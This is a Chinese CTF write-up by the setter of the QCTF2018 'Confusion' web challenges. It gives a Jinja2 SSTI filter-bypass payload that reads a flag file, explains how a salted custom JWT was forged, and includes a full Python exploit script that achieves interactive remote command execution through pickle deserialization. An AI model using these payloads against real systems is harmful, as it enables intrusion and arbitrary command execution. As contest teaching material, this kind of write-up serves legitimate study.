0%

QCTF2018 Confusion Writeup

Confusion1

一进来浏览网站发现什么也没有,两个页面 login.php 和 register.php 全是 404

虽然题目描述里专门讲了不要使用扫描器,但是很多师傅还是非要用扫描器疯狂扫,比赛才刚开始 1 个小时日志就疯涨到了 200M,后面不得已鄙人才着急写了个封 IP 的脚本,但是可能规则有点严,误封了不少人的 IP,这都是后话了

既然网站什么也没有,但是题目还是要做的,继续浏览网站,细心点的师傅可以发现在 404 页面里给了 flag 的路径

那么这个题的目的肯定就是要想办法读到 flag 文件,要读文件那就肯定要有用户输入,但是整个网站并没有可以和用户交互的地方,除了 404 页面 url 部分

有经验的师傅肯定做过其他比赛中有 404 页面 url 部分 SSTI 的题,这个题也是一样的,没有经验的萌新就只能一步步的试了,总之这个网站可以控制输出的地方只有 404 的 url

所以这里存在 SSTI,之后照着思路往下走,不细心的师傅可能走 PHP 的 SSTI 了,因为整个站鄙人都伪装成了 Apache+PHP,其实整个站使用 Python flask 实现的,伪装的并不完美,如果师傅做题的时候不小心弄出个 500,可能就会暴露真实的服务

现在仔细看首页的那张图应该就能明白那张图片的意思了 2333333333

另外题目里对一些关键字做了过滤

用 request.args 绕过即可,payload:

1
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

另外题目里除了 flag,还给了一个 salt,也拿上,下一个题会用到

Confusion2

这个题和 Confusion1 相比多了 login 和 register,所以肯定要用到注册和登录,另外题目描述里讲了

I find something STRANGE when Alice said hello to me.

登录成功之后首页刚好会出现一个”hello”+ 用户名

所以就需要关注这个 hello 是怎么来的。从注册到登录,抓个包发现 cookie 比较奇怪,除了 PHPSESSID(当然这是假的 23333)还有一个 token,经过分析发现这是一个 JWT

这并不是标准的 JWT, 是鄙人自己实现的一个(为了师傅们做题方便用的算法是 sha256),然后分析一下 payload 里是什么

1
2
3
{
"data": "O:4:\"User\":2:{s:9:\"user_data\";s:59:\"(lp1\nVsrpopty\np2\naS'0af1ebb83911a420f08e94e6028b93ad'\np3\na.\";}"
}

很明显 data 是一个 PHP 的序列化字符串,这时候很多师傅可能就会开始怀疑了,这个网站到底是个 PHP 还是个 Python?接着分析下这个序列化字符串。

User 对象中有一个 user_data 的成员,值为(lp1\nVsrpopty\np2\naS'0af1ebb83911a420f08e94e6028b93ad'\np3\na.,有经验的师傅这时候就可以看出来这是一个 Python 序列化的字符串,而且这个字符串中出现了两个很突出的部分:登录的用户名和一串 hash,而这串 hash 就是用户名的 md5

把这个字符串手动在 python 里反序列化一下会发现这是一个列表,第一个元素是用户名,第二个元素是用户名的 md5

所以接下来就是利用 python 中 class 的__reduce__方法反序列化 RCE,但是首先要想办法绕过 JWT 的验证。前面已经知道 JWT 中的算法是 sha256,但是题目描述中说

PS: Alice said she likes add salts when she was cooking.

Hint 中也提到

hint:Alice likes adding salt at the LAST.

在加上 Confusion1 中拿到的 salt 到现在都没有用到,所以 sha256 中需要加上前一道题中拿到的 salt,根据 Hint 里提到的,salt 需要加在最后,这样就能绕过 JWT 的验证了。需要注意一下的是在使用 salt 的时候格式是jwt_header + '.' + jwt_payload + salt,可能很多人在 payload 和 salt 之间也多加了个点导致 JWT 一直过不去,鄙人的锅,很抱歉鄙人没有讲清楚导致很多师傅卡在这里了。另外需要注意就是 python 反序列化的 payload 放在 PHP 的序列化字符串中也要注意 PHP 序列化的格式,字符数量必须和前面的数字相等

最后在 opt 中找到 flag

附 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import cPickle
import os
import sys
import base64
import hashlib
import json
import Cookie
import commands
import MD5proof
import requests
import re


if os.name != 'posix':
print 'This script must be run on Linux!'
sys.exit(1)

sess = requests.Session()
url = 'http://xxxx:xxxx/'
md5proof = MD5proof.Md5Proof(0, 6)
SALT = '_Y0uW1llN3verKn0w1t_'
username = 'srpopty'
password = 'srpopty'
cmd = 'ls'


def base64_url_encode(text):
return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')


def base64_url_decode(text):
text = text.replace('-', '+').replace('_', '/')
while True:
try:
result = base64.b64decode(text)
except TypeError:
text += '='
else:
break
return result


class PickleRce(object):
def __reduce__(self):
return commands.getoutput, (cmd,)


def register(username, password):
while True:
verify = md5proof.Proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',
sess.get(url + 'login.php', allow_redirects=False).content)[0])
if len(verify) > 0 and '*' not in verify:
break
data = {
'username': username,
'password': password,
'verify': verify
}
ret = sess.post(url + 'register.php', data=data, allow_redirects=False)
if 'success' in ret.content:
return True
else:
print '[!] Register failed!'
print ret.content
return False


def login(username, password):
while True:
verify = md5proof.Proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',
sess.get(url + 'login.php', allow_redirects=False).content)[0])
if len(verify) > 0 and '*' not in verify:
break
data = {
'username': username,
'password': password,
'verify': verify
}
ret = sess.post(url + 'login.php', data=data, allow_redirects=False)
if 'success' in ret.content:
return ret
else:
print '[!] Login failed!'
print ret.content
return None


def create_jwt(kid, data):
jwt_header = base64_url_encode(
'{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid)
jwt_payload = base64_url_encode('{"data":"%s"}' % data)
jwt_signature = base64_url_encode(hashlib.sha256(
jwt_header + '.' + jwt_payload + SALT).hexdigest())
return jwt_header + '.' + jwt_payload + '.' + jwt_signature


def serialize():
payload = cPickle.dumps([PickleRce(), PickleRce()])
data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (
len(payload), payload))[1:-1]
print data
return data


if register(username, password) is not None:
login_result = login(username, password)
if login_result is not None:
try:
while True:
cmd = raw_input('>>> ')
cookies = login_result.cookies
# print '[*] Old Cookie token: ' + cookies['token']
jwt = create_jwt(int(re.findall('"kid":"(.*?)"', base64_url_decode(
login_result.cookies['token'].split('.')[0]))[0]), serialize())
new_token = Cookie.SimpleCookie().value_encode(jwt)[1]
# print '[*] New Cookie token: ' + new_token
new_cookies = {
'PHPSESSID': cookies['PHPSESSID'],
'token': new_token
}
ret = requests.get(url + 'index.php',
allow_redirects=False, cookies=new_cookies)
print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>', ret.content)[0]
except KeyboardInterrupt:
print '\nExit.'

结语

这次比赛的确很难受,题目里说了别用扫描器,还是有很多人疯狂扫,最后把容器都扫崩了。赶出来一个封 IP 的脚本,虽然限制了扫描器,但是规则可能有点严(感觉也可能是玄学因素。。。),一开始 3 秒钟 30 个包封 IP(这个的确鄙人也感觉太严格了),不少人被误封,后来改成 3 秒钟 50 个包,有些人说被误封了,最后 3 秒钟 80 个包还有说误封的。。。。到最后只能改成 1 秒 80 个包还是说有被误封的 - -!日志量太大也实在不好审日志,所以最后只能把所有 IP 都解封,解封没多久又有上扫描器的。。。。

另外在日志中也能看到有些搅屎棍,的确,不得不说国内 CTF 比赛的环境实在是太恶劣了,自己做完了的题不想让别人做,还是多去打打国外的比赛吧。最后的确鄙人也是太垃圾了,很抱歉没有给各位师傅创造一个良好的解题环境,以后鄙人一定更加努力!